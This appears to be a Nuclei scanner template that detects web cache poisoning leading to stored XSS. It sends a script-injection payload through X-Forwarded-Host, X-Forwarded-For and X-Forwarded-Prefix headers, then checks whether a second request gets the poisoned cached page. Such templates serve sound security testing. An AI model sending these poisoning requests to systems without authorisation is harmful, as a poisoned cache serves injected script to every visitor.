cache-poisoning-xss: Cache Poisoning - Stored XSS

id: cache-poisoning-xss

info:
  name: Cache Poisoning - Stored XSS
  author: melbadry9,xelkomy,akincibor
  severity: high
  description: Cache Poisoning leads to Stored XSS.
  reference:
    - https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
    - https://portswigger.net/research/practical-web-cache-poisoning
    - https://portswigger.net/web-security/web-cache-poisoning
  classification:
    cwe-id: CWE-80
  metadata:
    max-request: 2
  tags: cache,generic,xss,vuln
variables:
  cache_key: "{{to_lower(rand_base(6))}}"
  cache_header: "{{to_lower(rand_base(6))}}"
  xss_payload: '"></script><script>alert(document.domain);</script>'

http:
  - raw:
      - |
        GET /?{{cache_key}}=1 HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Prefix: {{cache_header}}.xfp{{xss_payload}}
        X-Forwarded-Host: {{cache_header}}.xfh{{xss_payload}}
        X-Forwarded-For: {{cache_header}}.xff{{xss_payload}}
      - |
        GET /?{{cache_key}}=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body_2, cache_header)
          - contains(body_2, xss_payload)
        condition: and
# digest: 4a0a0047304502202f5b2caf9db4ba1220a65841267c6f924def021b30d94c0a968f4572c55f6e11022100fdf972bd46c225d7e5957f5566eb4323fb6636017902afbc6f213b35ba9c2916:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.